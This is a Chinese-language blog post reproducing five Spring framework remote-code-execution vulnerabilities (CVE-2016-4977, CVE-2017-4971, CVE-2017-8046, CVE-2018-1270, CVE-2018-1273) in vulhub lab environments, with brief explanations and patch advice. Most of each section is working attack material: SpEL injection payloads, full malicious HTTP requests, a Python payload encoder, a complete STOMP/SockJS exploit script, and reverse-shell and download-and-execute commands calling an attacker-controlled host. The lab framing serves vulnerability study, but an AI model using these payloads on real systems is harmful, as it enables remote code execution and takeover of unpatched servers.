Spring漏洞总结复现

写在前面:本文为漏洞复现系列Spring篇,复现的漏洞已vulhub中存在的环境为主。

欢迎大家点赞收藏,点点关注更好了hhhhhh

简介

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在 2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层 的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框 架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为 J2EE应用程序开发提供集成的框架。
Spring 是最受欢迎的企业级 Java 应用程序开发框架,数以百万的来自世界各地的开发人员使用 Spring 框架来创建性能好、易于测试、可重用的代码。
特征指纹:
1、看web应用程序的ico小图标,是一个小绿叶子;
2、看报错页面,如果默认报错页面没有修改,那就显示whitelable Error Page;
3、看X-Application-Context头。

Spring Security OAuth2远程命令执行(CVE-2016-4977)

漏洞原理

Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2 处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL 来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达 式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。
底层原理:Spring Security OAuth RCE (CVE-2016-4977) 漏洞分析

影响范围

2.0.0-2.0.9
1.0.0-1.0.5

漏洞复现

环境:使用vulhub提供的镜像。
docker-compose up -d
image-20211114163319912
访问http://192.168.255.128:8080/
image-20211114163529126
漏洞链接为:
http://192.168.255.128:8080/oauth/authorize?response_type=${3*4}&client_id=acme&scope=openid&redirect_uri=http://test
image-20211114163942321
输入admin/admin,返回结果为12。
image-20211114164035834
页面返回执行了我们输入的SpEL表达式,这里可以看作是SpEL表达式的注入,既然表达式被执行了,我们可以考虑代码注入的可能性。
使用vulhub提供的poc生成代码:

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)

反弹shell:

bash -i >& /dev/tcp/192.168.255.1/1234 0>&1
编码后:
bash -c {
    
    echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xLzEyMzQgMD4mMQ==}|{
    
    base64,-d}|{
    
    bash,-i}

利用代码生成的反弹shell的poc:
image-20211114165256765

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

将poc替换上面链接中的{3*4}。
访问链接为:

http://192.168.255.128:8080/oauth/authorize?response_type=${${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}}&client_id=acme&scope=openid&redirect_uri=http://test

image-20211114165929096
监听上1234端口,反弹成功。
image-20211114170010841

修复建议

1、使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。
2、使用2.0.x版本的用户升级到2.0.10以及更高的版本。

Spring Web Flow框架远程代码执行(CVE-2017-4971)

漏洞原理

Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
https://paper.seebug.org/322/

影响范围

Spring Web Flow 2.4.0 - 2.4.4

漏洞复现

利用前提:
1、MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)
2、flow view对象中设置BinderConfiguration对象为空
环境:使用vulhub提供的镜像。
docker-compose up -d
image-20211114171515045
访问http://192.168.255.128:8080/
image-20211114171607597
点击login,可以看见这里有很多默认的用户名密码,随便选一组登录系统。
image-20211114171712622
然后访问Find Hotels。
image-20211114171810300
image-20211114171905638
即访问链接为:id为1的酒店地址http://192.168.255.128:8080/hotels/1
image-20211114171954905
点击预订按钮"Book Hotel",填写相关信息后点击"Process"(从这一步,其实WebFlow就正式开始了);随便输入一些内容后,我们点击Proceed然后会跳转到Confirm页面(Credit Card为16位):
image-20211114172258367
image-20211114172928676
点击confirm时进行抓包。
image-20211114173854218

  • 写文件exp:
    &_T(java.lang.Runtime).getRuntime().exec("touch /tmp/1ance")
    image-20211114174026169
    成功写入:
    image-20211114174109214
  • 反弹shell:
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.255.1/1234 0>&1")).start()=vulhub
url编码后:
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.255.1/1234 0>%261")).start()=vulhub

如果发包是302,则重新抓包即可。
image-20211114175057401

  • 远程下载文件:
    &_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell")
  • 执行上一步下载的脚本:
    &_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell")

利用总结exp:

&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.255.1/1234 0>%261")).start()=vulhub

&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/1ance")

&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell

&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell

修复建议

官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。
https://tanzu.vmware.com/security/cve-2017-4971

Spring Data Rest远程命令执行命令(CVE-2017-8046)

漏洞原理

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。
https://blog.spoock.com/2018/05/22/cve-2017-8046/

影响范围

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

漏洞复现

启动环境:
image-20211114180429152
访问链接:http://192.168.255.128:8080/
image-20211114180610646
看到 json格式的返回值,说明这是一个 Restful风格的API服务器。
访问如下url,如果有下面回显,则说明存在该漏洞:
http://192.168.255.128:8080/customers/1
image-20211114180754037
burp抓包,并且使用PATCH请求来修改:

image-20211114181013335

创建文件touch /tmp/1ance的poc,需要对其进行十进制编码处理:

",".join(map(str, (map(ord,"touch /tmp/1ance"))))

'116,111,117,99,104,32,47,116,109,112,47,49,97,110,99,101'

image-20211114181223548
将该编码写入poc,放入请求包,注意json格式的poc上面留一个空行,Content-Type: 为 application/json-patch+json
payload:

PATCH /customers/1 HTTP/1.1
Host: 192.168.255.128:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json-patch+json
Cookie: smile=1D1; inPlta_admin_username=admin; s7t_sid=FWBumX; JSESSIONID=2EE34F3F5ABE8E0EACA60A22A1D5414D
If-None-Match: "0"
If-Modified-Since: Sun, 14 Nov 2021 10:00:55 GMT
Connection: close
Content-Length: 198

[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,49,97,110,99,101}))/lastname",
"value": "vulhub"
}
]

image-20211114181745409
image-20211114181731393
反弹shell的poc,先进行base64编码:

bash -i >& /dev/tcp/192.168.255.1/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"))))

'98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,73,49,78,83,52,120,76,122,69,121,77,122,81,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125'

image-20211114182316321

修复建议

升级到以下最新版本:* Spring Data REST 2.5.12, 2.6.7, 3.0 RC3 * Spring Boot 2.0.0.M4 * Spring Data release train Kay-RC3

Spring Messaging远程命令执行突破(CVE-2018-1270)

漏洞原理

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
https://paper.seebug.org/562/

影响范围

Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
已不支持的旧版本仍然受影响

漏洞复现

(vulhub上p神的解释)网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
连接后端服务器的流程,可以理解为:用STOMP协议将数据组合成一个文本流,用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信所以我们可以使用http来复现漏洞,称之为“降维打击”。
我编写了一个简单的POC脚本exploit.py(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:
基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec(‘touch /tmp/success’)
某一个订阅的地址,如vulhub中为:/topic/greetings
如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。
根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。

启动环境:
image-20211114183752772
访问:http://192.168.255.128:8080/
image-20211114183827016
访问:http://192.168.255.128:8080/gs-guide-websocket
image-20211114183940095
对反弹shell的命令base64编码:

bash -i >& /dev/tcp/192.168.255.1/1234 0>&1

bash -c {
    
    echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xLzEyMzQgMD4mMQ==}|{
    
    base64,-d}|{
    
    bash,-i}

利用脚本:

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{
      
      url}/{
      
      random.randint(0, 1000)}/{
      
      random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
    
    
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{
      
      self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{
      
      k}:{
      
      v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{
      
      self.base}/xhr_send?t={
      
      self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{
      
      command}' data error.")
        else:
            logging.info(f"send '{
      
      command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.255.128:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    
    
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    
    
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({
    
    'name': 'vulhub'})
sockjs.send('send', {
    
    
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

image-20211114185132615

修复建议

1、请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本);
2、如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本)。

Spring Data Commons远程命令执行漏洞(CVE-2018-1273)

漏洞原理

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
https://www.cnblogs.com/hac425/p/9656747.html

影响范围

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本

漏洞复现

启动环境:
image-20211114185858115
访问:http://192.168.255.128:8080/
image-20211114185948997
访问下面url链接,burpp抓包。
http://192.168.255.128:8080/users
image-20211114190302345
将数据包添加以下数据:

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.255.128:8080
Content-Length: 52
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.255.128:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.255.128:8080/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: smile=1D1; inPlta_admin_username=admin; s7t_sid=FWBumX; JSESSIONID=2EE34F3F5ABE8E0EACA60A22A1D5414D
Connection: close

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/1ance")]=&password=1ance&repeatedPassword=1ance

image-20211114190727144
image-20211114190755690
反弹shell:
写一个shell.sh文件,开启http服务:
shell.sh: bash -i >& /dev/tcp/192.168.255.1/1234 0>&1
image-20211114191432044
下载执行sh脚本:/usr/bin/wget -qO /tmp/shell.sh http://192.168.255.1/shell.sh
image-20211114191626537
执行shell.sh:/bin/bash /tmp/shell.sh
image-20211114191857336

修复建议

1、受影响版本的用户应该应用以下缓解措施:

2.0.x用户应该升级到2.0.6
1.13.x用户应该升级到1.13.11

旧版本应升级到受支持的分支
已解决此问题的发布版本包括:

Spring Data REST 2.6.11(Ingalls SR11)
Spring Data REST 3.0.6(Kay SR6)
Spring Boot 1.5.11
Spring Boot 2.0.1

2、使用Spring Security提供的身份验证和授权,限定特定访问。

总结

Spring存在的漏洞有很多,这里总结主要是对一些常见的漏洞复现和分析(主要是vulhub上的环境)当然了目前网上都有很多自动化的检测和利用工具,这里手动验证是为了加深印象;漏洞的原理很多都是参考大佬们的文章,个人其实还是有很多不是很理解(菜狗)这里对大佬们表示衷心的感谢。后续继续补充其他漏洞复现。

Guess you like

Origin blog.csdn.net/weixin_44033675/article/details/121321835